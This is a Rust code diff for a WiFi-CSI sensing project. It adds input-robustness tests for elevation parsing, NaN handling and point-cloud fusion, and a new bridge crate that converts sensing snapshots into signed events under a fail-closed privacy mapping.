fn wgs84_to_enu_at_pole_does_not_panic() {
|
||||
let origin = GeoPoint {
|
||||
lat: 90.0,
|
||||
lon: 0.0,
|
||||
alt: 0.0,
|
||||
};
|
||||
let point = GeoPoint {
|
||||
lat: 89.99,
|
||||
lon: 10.0,
|
||||
alt: 0.0,
|
||||
};
|
||||
// Must return without panicking. North/up stay finite; east may be
|
||||
// non-finite at the exact pole — assert the bounded components only.
|
||||
let enu = wgs84_to_enu(&point, &origin);
|
||||
assert!(enu[1].is_finite(), "north component must be finite");
|
||||
assert!(enu[2].is_finite(), "up component must be finite");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -68,6 +68,21 @@ pub fn parse_hgt(data: &[u8], origin_lat: f64, origin_lon: f64) -> Result<Elevat
|
||||
let n_samples = data.len() / 2;
|
||||
let side = (n_samples as f64).sqrt() as usize;
|
||||
|
||||
// A valid SRTM grid is at least 2x2 — anything smaller has no cell spacing.
|
||||
// Without this guard, `side - 1` underflows (panic in debug, wraps to a
|
||||
// huge value in release) and `1.0 / (side - 1)` yields a garbage/inf
|
||||
// `cell_size_deg` that then poisons every `ElevationGrid::get` lookup. A
|
||||
// truncated download, a 404 HTML body, or an empty response can all reach
|
||||
// here, so fail loudly instead of corrupting the persisted grid.
|
||||
if side < 2 {
|
||||
anyhow::bail!(
|
||||
"HGT data too small: {} bytes ({} samples, side {}) — need at least a 2x2 grid",
|
||||
data.len(),
|
||||
n_samples,
|
||||
side
|
||||
);
|
||||
}
|
||||
|
||||
let heights: Vec<f32> = data
|
||||
.chunks_exact(2)
|
||||
.map(|c| {
|
||||
@@ -129,3 +144,42 @@ pub fn extract_subgrid(grid: &ElevationGrid, center: &GeoPoint, radius_m: f64) -
|
||||
heights,
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
// ── parse_hgt degenerate-input robustness ──────────────────────────────
|
||||
//
|
||||
// Before the `side < 2` guard, an empty or sub-2x2 buffer made
|
||||
// `1.0 / (side - 1)` underflow `side` (panic in debug / huge wrap in
|
||||
// release) and produce a garbage `cell_size_deg`. A truncated download or
|
||||
// a 404 HTML page reaches `parse_hgt`, so these must Err, not panic/poison.
|
||||
|
||||
#[test]
|
||||
fn parse_hgt_empty_data_errors_not_panics() {
|
||||
let res = parse_hgt(&[], 40.0, -75.0);
|
||||
assert!(res.is_err(), "empty HGT must Err, got {res:?}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parse_hgt_single_sample_errors() {
|
||||
// 2 bytes = 1 sample → side 1 → div-by-zero cell_size (inf) pre-fix.
|
||||
let res = parse_hgt(&[0u8, 0u8], 40.0, -75.0);
|
||||
assert!(res.is_err(), "1-sample HGT must Err, got {res:?}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parse_hgt_minimal_2x2_is_finite() {
|
||||
// 4 samples = 8 bytes → side 2 → cell_size = 1.0 (finite, valid).
|
||||
let data = vec![0u8; 8];
|
||||
let grid = parse_hgt(&data, 40.0, -75.0).expect("2x2 HGT should parse");
|
||||
assert_eq!(grid.cols, 2);
|
||||
assert_eq!(grid.rows, 2);
|
||||
assert!(
|
||||
grid.cell_size_deg.is_finite() && grid.cell_size_deg > 0.0,
|
||||
"cell_size must be finite positive, got {}",
|
||||
grid.cell_size_deg
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -220,6 +220,9 @@ fn create_test_sensors(count: usize) -> Vec<SensorPosition> {
|
||||
z: 1.5,
|
||||
sensor_type: SensorType::Transceiver,
|
||||
is_operational: true,
|
||||
// No live RSSI plumbed for synthetic bench sensors (simulated
|
||||
// zone) — localization must not fabricate one.
|
||||
last_rssi: None,
|
||||
}
|
||||
})
|
||||
.collect()
|
||||
|
||||
@@ -700,4 +700,79 @@ mod tests {
|
||||
assert!(conf > 0.7, "self-similarity should exceed match threshold");
|
||||
}
|
||||
}
|
||||
|
||||
// ── NaN-state-poisoning guard (the proven recurring bug class) ──────────
|
||||
//
|
||||
// The calibration/vitals crates were both bitten by a single non-finite
|
||||
// sample latching into persistent state and freezing all outputs forever.
|
||||
// Here the auto-accumulating persistent state is `occupancy` (an EMA:
|
||||
// `*occ = *occ*0.7 + new*0.3`) and `vitals` (motion/breathing/heart).
|
||||
//
|
||||
// The UDP parser can only ever emit finite amplitudes/phases (sqrt and
|
||||
// atan2 of i8 values), so the realistic ingress is already safe. This test
|
||||
// is stronger: it injects an adversarial hand-built `CsiFrame` carrying
|
||||
// NaN/inf amplitudes and phases (possible because the fields are public),
|
||||
// and pins that the persistent state self-heals to finite values rather
|
||||
// than latching NaN and silently freezing — i.e. the bug class is absent.
|
||||
#[test]
|
||||
fn nonfinite_frame_does_not_poison_persistent_state() {
|
||||
let mut s = CsiPipelineState::default();
|
||||
// Warm up with valid frames so vitals/occupancy are populated.
|
||||
seed_state_with_frames(&mut s, 60);
|
||||
|
||||
// A valid baseline must be finite to start.
|
||||
assert!(s.occupancy.iter().all(|d| d.is_finite()));
|
||||
assert!(s.vitals.breathing_rate.is_finite());
|
||||
assert!(s.vitals.motion_score.is_finite());
|
||||
|
||||
// Inject a stream of poisoned frames: NaN/inf amplitudes + phases on a
|
||||
// valid header (node_id 1, finite rssi). Mimics a corrupt sensor.
|
||||
for i in 0..40 {
|
||||
let nan_frame = CsiFrame {
|
||||
node_id: 1,
|
||||
n_antennas: 1,
|
||||
n_subcarriers: 32,
|
||||
channel: 6,
|
||||
rssi: -50,
|
||||
noise_floor: -90,
|
||||
timestamp_us: 10_000 + i,
|
||||
iq_data: vec![0i8; 64],
|
||||
amplitudes: vec![f32::NAN; 32],
|
||||
phases: vec![f32::INFINITY; 32],
|
||||
};
|
||||
s.process_frame(nan_frame);
|
||||
}
|
||||
|
||||
// Persistent auto-accumulating state must remain finite — a single
|
||||
// poisoned frame (or 40) must not permanently corrupt outputs.
|
||||
assert!(
|
||||
s.occupancy.iter().all(|d| d.is_finite()),
|
||||
"occupancy EMA must not latch NaN/inf"
|
||||
);
|
||||
assert!(
|
||||
s.vitals.breathing_rate.is_finite(),
|
||||
"breathing_rate must stay finite, got {}",
|
||||
s.vitals.breathing_rate
|
||||
);
|
||||
assert!(
|
||||
s.vitals.heart_rate.is_finite(),
|
||||
"heart_rate must stay finite, got {}",
|
||||
s.vitals.heart_rate
|
||||
);
|
||||
assert!(
|
||||
s.vitals.motion_score.is_finite(),
|
||||
"motion_score must stay finite, got {}",
|
||||
s.vitals.motion_score
|
||||
);
|
||||
|
||||
// And the pipeline must recover: feeding valid frames again yields a
|
||||
// finite, in-range breathing estimate (not a frozen NaN).
|
||||
seed_state_with_frames(&mut s, 60);
|
||||
assert!(s.vitals.breathing_rate.is_finite());
|
||||
assert!(
|
||||
(0.0..=40.0).contains(&s.vitals.breathing_rate),
|
||||
"breathing must be in clamp range after recovery, got {}",
|
||||
s.vitals.breathing_rate
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -184,4 +184,43 @@ mod tests {
|
||||
let fused = fuse_clouds(&[&a], 0.5);
|
||||
assert_eq!(fused.points.len(), 1, "three close points → one voxel");
|
||||
}
|
||||
|
||||
// ── degenerate-input robustness (no panic, sensible output) ────────────
|
||||
//
|
||||
// These pin that the voxel accumulators handle empty / single / all-
|
||||
// coincident inputs without dividing by zero or panicking. The per-voxel
|
||||
// count is always >= 1 (the entry is created on first insert), so the
|
||||
// `/n` averaging is safe — but make that contract explicit so a future
|
||||
// refactor cannot silently reintroduce a div-by-zero.
|
||||
|
||||
#[test]
|
||||
fn fuse_clouds_empty_input_is_empty() {
|
||||
let fused = fuse_clouds(&[], 0.1);
|
||||
assert!(fused.points.is_empty(), "no clouds → no points");
|
||||
let empty = PointCloud::new("empty");
|
||||
let fused2 = fuse_clouds(&[&empty], 0.1);
|
||||
assert!(fused2.points.is_empty(), "empty cloud → no points");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn fuse_clouds_single_point_is_finite() {
|
||||
let a = cloud_with("a", &[(1.0, 2.0, 3.0)]);
|
||||
let fused = fuse_clouds(&[&a], 0.1);
|
||||
assert_eq!(fused.points.len(), 1);
|
||||
let p = &fused.points[0];
|
||||
assert!(
|
||||
p.x.is_finite() && p.y.is_finite() && p.z.is_finite() && p.intensity.is_finite(),
|
||||
"single-point voxel must average to a finite point"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn fuse_clouds_all_coincident_collapses_finite() {
|
||||
// Many identical points → one voxel, finite averaged centroid.
|
||||
let a = cloud_with("a", &[(0.5, 0.5, 0.5); 100]);
|
||||
let fused = fuse_clouds(&[&a], 0.25);
|
||||
assert_eq!(fused.points.len(), 1, "coincident points → one voxel");
|
||||
let p = &fused.points[0];
|
||||
assert!((p.x - 0.5).abs() < 1e-4 && p.x.is_finite());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
[package]
|
||||
name = "wifi-densepose-rufield"
|
||||
version = "0.3.0"
|
||||
edition = "2021"
|
||||
description = "ADR-262 anti-corruption bridge: converts RuView WiFi-CSI sensing output into signed RuField FieldEvents (P0–P5 privacy mapping + ed25519 provenance)"
|
||||
license.workspace = true
|
||||
authors.workspace = true
|
||||
repository.workspace = true
|
||||
|
||||
# ADR-262 §5.4: this crate is the single coupling point ("anti-corruption
|
||||
# layer") between RuView and the standalone RuField MFS spec. It depends on the
|
||||
# `vendor/rufield` submodule crates **via path** (the `vendor/rvcsi` pattern) —
|
||||
# RuView does NOT depend on published rufield crates (there are none) and does
|
||||
# NOT make rufield a v2 workspace member. The four crates below are pure-Rust
|
||||
# (serde / serde_json / toml / sha2 / ed25519-dalek only — no tch / openblas /
|
||||
# ndarray / candle), so they build under `--no-default-features`.
|
||||
[dependencies]
|
||||
rufield-core = { path = "../../../vendor/rufield/crates/rufield-core" }
|
||||
rufield-provenance = { path = "../../../vendor/rufield/crates/rufield-provenance" }
|
||||
rufield-privacy = { path = "../../../vendor/rufield/crates/rufield-privacy" }
|
||||
rufield-fusion = { path = "../../../vendor/rufield/crates/rufield-fusion" }
|
||||
serde = { workspace = true }
|
||||
serde_json = { workspace = true }
|
||||
|
||||
[dev-dependencies]
|
||||
serde_json = { workspace = true }
|
||||
@@ -0,0 +1,206 @@
|
||||
//! The conversion: `SensingSnapshot` → signed `FieldEvent` (ADR-262 P1).
|
||||
//!
|
||||
//! This is the in-process `SensingServerAdapter` core (ADR-262 §4 P1 / §5.1):
|
||||
//! it consumes a `(SensingUpdate, TrustedOutput)` join — modelled here as a
|
||||
//! [`SensingSnapshot`] of owned primitives — and emits one signed
|
||||
//! [`FieldEvent`] (`Modality::WifiCsi`, axis `[Frequency]`) per cycle.
|
||||
|
||||
use crate::privacy::egress_class;
|
||||
use crate::snapshot::{SensingSnapshot, SignalField};
|
||||
use rufield_core::{
|
||||
FieldAxis, FieldEvent, FieldTensor, Modality, Observation, PrivacyClass, ProvenanceRef,
|
||||
SensorDescriptor,
|
||||
};
|
||||
use rufield_provenance::{sha256_hex, Signer};
|
||||
use std::collections::BTreeMap;
|
||||
|
||||
/// Model id stamped on emitted events (ADR-262 — derived features come from
|
||||
/// RuView's `/ws/sensing` pipeline, not a trained encoder).
|
||||
const MODEL_ID: &str = "ruview_sensing_server_v1";
|
||||
|
||||
/// Firmware hash placeholder until the real ESP32 firmware image hash is wired
|
||||
/// through (ADR-262 §8 open question 3 — the BLAKE3 engine witness slot). A
|
||||
/// stable `sha256:` over the model id keeps it a real digest, not a fake.
|
||||
fn firmware_hash() -> String {
|
||||
sha256_hex(MODEL_ID.as_bytes())
|
||||
}
|
||||
|
||||
/// Squash a non-negative power-like scalar into `[0, 1]` deterministically.
|
||||
/// `x / (x + 1)` — monotone, no panics, no calibration claim.
|
||||
fn squash(x: f64) -> f32 {
|
||||
if !x.is_finite() || x <= 0.0 {
|
||||
return 0.0;
|
||||
}
|
||||
(x / (x + 1.0)) as f32
|
||||
}
|
||||
|
||||
/// Build the `Observation.features` map the RuField fusion engine reads
|
||||
/// (`rufield-fusion/engine.rs:217-228`: `motion_energy`, `breathing_band`,
|
||||
/// `transient`, `presence`, `range_m`, plus `posture_height`).
|
||||
fn build_features(snap: &SensingSnapshot, range_m: Option<f32>) -> BTreeMap<String, f32> {
|
||||
let f = &snap.features;
|
||||
let mut m = BTreeMap::new();
|
||||
m.insert("motion_energy".to_string(), squash(f.motion_band_power));
|
||||
m.insert("breathing_band".to_string(), squash(f.breathing_band_power));
|
||||
m.insert("transient".to_string(), squash(f.change_points as f64));
|
||||
m.insert(
|
||||
"presence".to_string(),
|
||||
if snap.classification.presence { 1.0 } else { 0.0 },
|
||||
);
|
||||
if let Some(r) = range_m {
|
||||
m.insert("range_m".to_string(), r);
|
||||
}
|
||||
m
|
||||
}
|
||||
|
||||
/// Derive a real range (metres) and motion vector from the strongest signal
|
||||
/// field peak, if a field is present. Returns `(range_m, motion_vector,
|
||||
/// space_cell)` — all `None` when there is no field (we do NOT fabricate
|
||||
/// coordinates, per ADR-262 §4 P1).
|
||||
fn derive_position(
|
||||
field: Option<&SignalField>,
|
||||
) -> (Option<f32>, Option<[f32; 3]>, Option<[i32; 3]>) {
|
||||
let Some(field) = field else {
|
||||
return (None, None, None);
|
||||
};
|
||||
let Some(cell) = field.peak_cell() else {
|
||||
return (None, None, None);
|
||||
};
|
||||
// Range from origin in grid-cell units (real readout, not calibrated
|
||||
// metres — the honesty caveat from `field_localize.rs:16-27`).
|
||||
let [x, y, z] = cell;
|
||||
let range = ((x * x + y * y + z * z) as f32).sqrt();
|
||||
let mag = if range > 0.0 { range } else { 1.0 };
|
||||
let motion_vector = [x as f32 / mag, y as f32 / mag, z as f32 / mag];
|
||||
(Some(range), Some(motion_vector), Some(cell))
|
||||
}
|
||||
|
||||
/// Stable, deterministic event id from `(node_id, timestamp_ns)`. No RNG, so
|
||||
/// the same snapshot always yields the same id (required for the determinism
|
||||
/// gate).
|
||||
fn event_id(snap: &SensingSnapshot) -> String {
|
||||
format!("ruview-{}-{}", snap.node_id, snap.timestamp_ns)
|
||||
}
|
||||
|
||||
/// Convert a [`SensingSnapshot`] to a **signed** [`FieldEvent`] (ADR-262 P1).
|
||||
///
|
||||
/// 1. Builds a `FieldTensor` (`Modality::WifiCsi`, axis `[Frequency]`) whose
|
||||
/// values are the RuView feature scalars, with the real `timestamp_ns`.
|
||||
/// 2. Builds an `Observation` — `motion_vector`/`range_m`/`space_cell` derived
|
||||
/// from the signal-field peak when present (else `None`; coordinates are
|
||||
/// never fabricated), `confidence` from the classification, labels from
|
||||
/// motion-level/presence.
|
||||
/// 3. Stamps the §3.3 egress privacy class (information-content mapping with
|
||||
/// the demotion floor) on both tensor and observation.
|
||||
/// 4. Builds a real `ProvenanceRef` (sha256 raw hash over the tensor/feature
|
||||
/// bytes, `synthetic = false`) and **signs** it with the supplied ed25519
|
||||
/// [`Signer`] so `rufield_provenance::is_fusable` passes.
|
||||
///
|
||||
/// Determinism: with no RNG anywhere and a deterministic ed25519 signer, the
|
||||
/// same `snap` + same signer seed yields a byte-identical event.
|
||||
#[must_use]
|
||||
pub fn snapshot_to_field_event(snap: &SensingSnapshot, signer: &Signer) -> FieldEvent {
|
||||
let class = egress_class(snap.trust_class, snap.identity_bound, snap.demoted);
|
||||
|
||||
let (range_m, motion_vector, space_cell) = derive_position(snap.signal_field.as_ref());
|
||||
|
||||
// ── 1. Tensor ──────────────────────────────────────────────────────────
|
||||
// The frequency-domain feature scalars, in a stable order.
|
||||
let f = &snap.features;
|
||||
let values: Vec<f32> = vec![
|
||||
f.mean_rssi as f32,
|
||||
f.variance as f32,
|
||||
f.motion_band_power as f32,
|
||||
f.breathing_band_power as f32,
|
||||
f.dominant_freq_hz as f32,
|
||||
f.spectral_power as f32,
|
||||
];
|
||||
let confidence = (snap.classification.confidence as f32).clamp(0.0, 1.0);
|
||||
let noise_floor = f.variance.max(0.0) as f32;
|
||||
let calibration_id = format!("ruview_node_{}", snap.node_id);
|
||||
|
||||
// `FieldTensor::new` only errors on a shape/axis mismatch; our shape
|
||||
// exactly matches `values.len()` and one axis, so this is infallible here.
|
||||
let tensor = FieldTensor::new(
|
||||
snap.timestamp_ns,
|
||||
Modality::WifiCsi,
|
||||
vec![FieldAxis::Frequency],
|
||||
vec![values.len()],
|
||||
values,
|
||||
confidence,
|
||||
noise_floor,
|
||||
Some(calibration_id.clone()),
|
||||
class,
|
||||
)
|
||||
.expect("feature tensor shape is well-formed by construction");
|
||||
|
||||
// ── 2. Observation ─────────────────────────────────────────────────────
|
||||
let observation = Observation {
|
||||
zone_id: Some(snap.node_id.clone()),
|
||||
space_cell,
|
||||
range_m,
|
||||
velocity_mps: None,
|
||||
motion_vector,
|
||||
confidence,
|
||||
features: build_features(snap, range_m),
|
||||
labels: build_labels(snap),
|
||||
privacy_class: class,
|
||||
};
|
||||
|
||||
// ── 3. Provenance (real sha256 over the tensor bytes) ───────────────────
|
||||
let raw_hash = sha256_hex(
|
||||
&serde_json::to_vec(&tensor).expect("tensor serializes to JSON for hashing"),
|
||||
);
|
||||
let provenance = ProvenanceRef {
|
||||
raw_hash,
|
||||
firmware_hash: firmware_hash(),
|
||||
model_id: MODEL_ID.to_string(),
|
||||
calibration_id,
|
||||
synthetic: false, // a real (non-synthetic) live/replay event
|
||||
signature_hex: None,
|
||||
signer_pubkey_hex: None,
|
||||
};
|
||||
|
||||
let sensor = SensorDescriptor {
|
||||
modality: "wifi_csi".to_string(),
|
||||
vendor: "esp32".to_string(),
|
||||
device_id: snap.node_id.clone(),
|
||||
placement: "unknown".to_string(),
|
||||
clock_domain: "local".to_string(),
|
||||
};
|
||||
|
||||
let mut event = FieldEvent::new(
|
||||
event_id(snap),
|
||||
snap.timestamp_ns,
|
||||
sensor,
|
||||
tensor,
|
||||
observation,
|
||||
provenance,
|
||||
);
|
||||
|
||||
// ── 4. Sign (ed25519) so `is_fusable` passes for this real event ────────
|
||||
signer
|
||||
.sign_event(&mut event)
|
||||
.expect("ed25519 signing of a serializable event is infallible");
|
||||
|
||||
event
|
||||
}
|
||||
|
||||
/// Labels from the classification. These are descriptive (`person_present`,
|
||||
/// `motion_<level>`); the RuField fusion engine never reads labels
|
||||
/// (`event.rs:45-48`), so this carries no identity.
|
||||
fn build_labels(snap: &SensingSnapshot) -> Vec<String> {
|
||||
let mut labels = Vec::new();
|
||||
if snap.classification.presence {
|
||||
labels.push("person_present".to_string());
|
||||
}
|
||||
labels.push(format!("motion_{}", snap.classification.motion_level));
|
||||
labels
|
||||
}
|
||||
|
||||
/// Convenience: the privacy class that *would* be stamped for a snapshot,
|
||||
/// without building the whole event. Useful for egress badges (P3) and tests.
|
||||
#[must_use]
|
||||
pub fn snapshot_egress_class(snap: &SensingSnapshot) -> PrivacyClass {
|
||||
egress_class(snap.trust_class, snap.identity_bound, snap.demoted)
|
||||
}
|
||||
@@ -0,0 +1,123 @@
|
||||
//! # wifi-densepose-rufield
|
||||
//!
|
||||
//! ADR-262 **anti-corruption bridge**: converts RuView's live WiFi-CSI sensing
|
||||
//! output into signed RuField [`FieldEvent`](rufield_core::FieldEvent)s.
|
||||
//!
|
||||
//! This crate is the **single coupling point** (ADR-262 §5.4) between RuView and
|
||||
//! the standalone RuField MFS spec (`vendor/rufield`, ADR-260). It depends on
|
||||
//! the four pure-Rust rufield crates **via path** — `rufield-core`,
|
||||
//! `-provenance`, `-privacy`, `-fusion` — and on **no** RuView internal crate.
|
||||
//! Inputs are owned primitives ([`SensingSnapshot`]) that mirror what RuView's
|
||||
//! sensing cycle produces, so the bridge never imports `SensingUpdate` /
|
||||
//! `TrustedOutput` directly.
|
||||
//!
|
||||
//! ## What P1 ships (honesty — ADR-262 §0 / §6)
|
||||
//!
|
||||
//! This is **P1 plumbing**: a tested `SensingSnapshot → FieldEvent` conversion
|
||||
//! plus the **fail-closed privacy mapping** that is the §3.3 correctness item.
|
||||
//! It is **not** wired into the live server (that is P3) and makes **no accuracy
|
||||
//! claim** — RuField v0.1 is synthetic end-to-end and RuView's single-link CSI
|
||||
//! carries its own caveats. The gates here are round-trip / fusability /
|
||||
//! privacy-safety / determinism, not validated F1.
|
||||
//!
|
||||
//! ## The critical correctness item: the privacy mapping (§3.3)
|
||||
//!
|
||||
//! RuView's `Derived` class has byte value `1` (below `Anonymous = 2`) yet
|
||||
//! carries an identity embedding. The bridge maps it to **P4/P5 by information
|
||||
//! content, never P1** — see [`map_privacy`]. Mapping off the byte would leak
|
||||
//! identity as low-privacy; [`map_privacy`] (and its dedicated test
|
||||
//! `derived_identity_never_maps_to_low_privacy`) exist specifically to prevent
|
||||
//! that.
|
||||
//!
|
||||
//! ## Example
|
||||
//!
|
||||
//! ```
|
||||
//! use wifi_densepose_rufield::{
|
||||
//! snapshot_to_field_event, SensingSnapshot, SensingFeatures, SensingClass,
|
||||
//! RuViewPrivacyClass,
|
||||
//! };
|
||||
//! use rufield_provenance::{Signer, is_fusable};
|
||||
//!
|
||||
//! let snap = SensingSnapshot {
|
||||
//! timestamp_ns: 1_791_986_400_000_000_000,
|
||||
//! features: SensingFeatures {
|
||||
//! mean_rssi: -55.0,
|
||||
//! variance: 0.4,
|
||||
//! motion_band_power: 2.0,
|
||||
//! breathing_band_power: 0.3,
|
||||
//! dominant_freq_hz: 0.25,
|
||||
//! change_points: 1,
|
||||
//! spectral_power: 3.0,
|
||||
//! },
|
||||
//! classification: SensingClass {
|
||||
//! motion_level: "low".into(),
|
||||
//! presence: true,
|
||||
//! confidence: 0.82,
|
||||
//! },
|
||||
//! signal_field: None,
|
||||
//! trust_class: RuViewPrivacyClass::Anonymous,
|
||||
//! demoted: false,
|
||||
//! identity_bound: false,
|
||||
//! node_id: "esp32_room_01".into(),
|
||||
//! };
|
||||
//!
|
||||
//! let signer = Signer::from_seed(b"adr-262-bridge-seed-32-bytes-ok!");
|
||||
//! let event = snapshot_to_field_event(&snap, &signer);
|
||||
//! assert!(is_fusable(&event)); // ed25519-signed, non-synthetic ⇒ fusable
|
||||
//! ```
|
||||
|
||||
#![forbid(unsafe_code)]
|
||||
|
||||
pub mod bridge;
|
||||
pub mod privacy;
|
||||
pub mod snapshot;
|
||||
|
||||
pub use bridge::{snapshot_egress_class, snapshot_to_field_event};
|
||||
pub use privacy::{apply_demotion_floor, egress_class, map_privacy};
|
||||
pub use snapshot::{
|
||||
RuViewPrivacyClass, SensingClass, SensingFeatures, SensingSnapshot, SignalField,
|
||||
};
|
||||
|
||||
// Re-export the rufield surface a bridge consumer needs, so callers depend on
|
||||
// one crate.
|
||||
pub use rufield_core::{Destination, FieldEvent, Modality, PrivacyClass, PrivacyDecision};
|
||||
pub use rufield_fusion::RuFieldFusion;
|
||||
pub use rufield_privacy::{DefaultPrivacyGuard, PrivacyPolicy};
|
||||
pub use rufield_provenance::{is_fusable, verify_event, Signer};
|
||||
|
||||
/// Whether a mapped [`PrivacyClass`] may be surfaced on a **network** egress
|
||||
/// (ADR-262 §4 P3 — the live `/api/field` / `/ws/field` surface must respect
|
||||
/// the same default §10 network policy `/ws/sensing` honours, never emitting
|
||||
/// above-policy data).
|
||||
///
|
||||
/// **Fail-closed for a live, unattended surface.** The live RuView surface has
|
||||
/// **no per-event consent or identity-binding ceremony** — so this is *stricter*
|
||||
/// than [`DefaultPrivacyGuard::authorize`]: it requires BOTH that the default
|
||||
/// guard would `Allow` the class onto [`Destination::Network`] with **no consent
|
||||
/// granted**, AND that the class is at or below the default network ceiling
|
||||
/// ([`PrivacyClass::P2`]). The second clause deliberately drops P4/P5 even
|
||||
/// though the guard's consent/identity *exceptions* would let an explicitly
|
||||
/// consented/identity-bound P4/P5 through — because the live surface cannot
|
||||
/// honestly assert that consent. Net effect: only **P1/P2** leave the box; P0
|
||||
/// (raw) and P3/P4/P5 are held edge-local.
|
||||
///
|
||||
/// This is the privacy-safety pin for the live surface: a `Derived` cycle maps
|
||||
/// to P4 (or P5 when identity-bound) via [`map_privacy`] and is therefore
|
||||
/// **never** surfaced as a network event — neither as a low-privacy P1 (the
|
||||
/// §3.3 mapping trap) nor at all.
|
||||
#[must_use]
|
||||
pub fn network_egress_allowed(class: PrivacyClass, identity_bound: bool) -> bool {
|
||||
use rufield_core::PrivacyGuard;
|
||||
let guard_allows = matches!(
|
||||
DefaultPrivacyGuard::default().authorize(
|
||||
class,
|
||||
Destination::Network,
|
||||
false, // no per-event consent on the live network surface (fail-closed)
|
||||
identity_bound,
|
||||
),
|
||||
PrivacyDecision::Allow
|
||||
);
|
||||
// Additionally cap at the default network ceiling: an unattended live
|
||||
// surface never asserts the P4-consent / P5-identity exception.
|
||||
guard_allows && class <= PrivacyClass::P2
|
||||
}
|
||||
@@ -0,0 +1,147 @@
|
||||
//! The ADR-262 §3.3 privacy mapping — the critical correctness item.
|
||||
//!
|
||||
//! RuView's effective `PrivacyClass` (4 byte-level classes) is the source of
|
||||
//! truth; the bridge maps it onto RuField's `PrivacyClass` (P0–P5) **at the
|
||||
//! egress boundary, by information content, NEVER by byte value**.
|
||||
//!
|
||||
//! ## The trap (ADR-262 §3, §6)
|
||||
//!
|
||||
//! RuView's `Derived` has byte value `1`, which sorts *below* `Anonymous`
|
||||
//! (byte `2`). A naive byte-mapping (`Derived = 1 → P1`) would leak
|
||||
//! identity-bearing features (`identity_embedding`, `identity_risk_score`) as a
|
||||
//! **low-privacy P1** event. Because `Derived` carries derived *identity*, it
|
||||
//! must map to the **biometric/identity tier (P4/P5)** — never P1. This is the
|
||||
//! single most dangerous mapping mistake; it gets a dedicated test
|
||||
//! (`derived_identity_never_maps_to_low_privacy`).
|
||||
//!
|
||||
//! ## Fail-closed
|
||||
//!
|
||||
//! [`RuViewPrivacyClass`] is a closed enum, so there is no runtime "unknown"
|
||||
//! value to receive — but the mapping is written `match`-exhaustively with an
|
||||
//! explicit, documented arm per class, and the `demoted`/`identity_bound`
|
||||
//! overlays only ever move the result **toward more privacy**, never less.
|
||||
|
||||
use crate::snapshot::RuViewPrivacyClass;
|
||||
use rufield_core::PrivacyClass;
|
||||
|
||||
/// Map a RuView effective `PrivacyClass` onto a RuField `PrivacyClass`
|
||||
/// (ADR-262 §3.3), by information content.
|
||||
///
|
||||
/// | RuView (byte) | → RuField | Rationale |
|
||||
/// |---|---|---|
|
||||
/// | `Raw` (0) | `P0` | raw CSI waveform |
|
||||
/// | `Derived` (1) | `P4` (or `P5` if `identity_bound`) | derived **identity** features ⇒ biometric/identity tier, **not** P1 |
|
||||
/// | `Anonymous` (2) | `P2` | occupancy / motion only |
|
||||
/// | `Restricted` (3) | `P2` (raw suppressed) | matches `suppress_raw_outputs` |
|
||||
///
|
||||
/// `identity_bound` only promotes `Derived` (already identity-derived) from P4
|
||||
/// to P5; it can never lower the class.
|
||||
#[must_use]
|
||||
pub fn map_privacy(ruview_class: RuViewPrivacyClass, identity_bound: bool) -> PrivacyClass {
|
||||
match ruview_class {
|
||||
// Raw CSI amplitude → raw waveform tier.
|
||||
RuViewPrivacyClass::Raw => PrivacyClass::P0,
|
||||
|
||||
// THE CRITICAL ARM (§3.3 / §6): `Derived` carries identity. Map by
|
||||
// information content to the biometric/identity tier P4, and to P5 when
|
||||
// the surface is bound to a named identity. NEVER P1.
|
||||
RuViewPrivacyClass::Derived => {
|
||||
if identity_bound {
|
||||
PrivacyClass::P5
|
||||
} else {
|
||||
PrivacyClass::P4
|
||||
}
|
||||
}
|
||||
|
||||
// Anonymous occupancy / motion aggregate → P2.
|
||||
RuViewPrivacyClass::Anonymous => PrivacyClass::P2,
|
||||
|
||||
// Restricted: occupancy with risk score / hash stripped and raw
|
||||
// suppressed. Capped at P2 (occupancy tier), matching
|
||||
// `EngineBridge::suppress_raw_outputs` (`engine_bridge.rs:240`).
|
||||
RuViewPrivacyClass::Restricted => PrivacyClass::P2,
|
||||
}
|
||||
}
|
||||
|
||||
/// The §4 P2 gate (b) monotonicity overlay: a governed-engine **demotion**
|
||||
/// (`TrustedOutput.demoted == true`) must never let the emitted class fall
|
||||
/// below P2 (occupancy floor), and raw is suppressed.
|
||||
///
|
||||
/// This is applied *after* [`map_privacy`] and can only raise the class
|
||||
/// (toward more privacy) — it is fail-closed by construction.
|
||||
#[must_use]
|
||||
pub fn apply_demotion_floor(class: PrivacyClass, demoted: bool) -> PrivacyClass {
|
||||
if demoted && class < PrivacyClass::P2 {
|
||||
PrivacyClass::P2
|
||||
} else {
|
||||
class
|
||||
}
|
||||
}
|
||||
|
||||
/// The full egress class for a snapshot: information-content mapping with the
|
||||
/// demotion floor overlaid. This is what the bridge stamps on the emitted
|
||||
/// `FieldEvent`.
|
||||
#[must_use]
|
||||
pub fn egress_class(
|
||||
ruview_class: RuViewPrivacyClass,
|
||||
identity_bound: bool,
|
||||
demoted: bool,
|
||||
) -> PrivacyClass {
|
||||
apply_demotion_floor(map_privacy(ruview_class, identity_bound), demoted)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn derived_maps_to_identity_tier_not_p1() {
|
||||
// The single most dangerous mapping mistake: Derived (byte 1) must NOT
|
||||
// become P1. It carries identity ⇒ P4, or P5 if identity-bound.
|
||||
assert_eq!(map_privacy(RuViewPrivacyClass::Derived, false), PrivacyClass::P4);
|
||||
assert_eq!(map_privacy(RuViewPrivacyClass::Derived, true), PrivacyClass::P5);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn full_table_matches_adr_262_section_3_3() {
|
||||
assert_eq!(map_privacy(RuViewPrivacyClass::Raw, false), PrivacyClass::P0);
|
||||
assert_eq!(map_privacy(RuViewPrivacyClass::Derived, false), PrivacyClass::P4);
|
||||
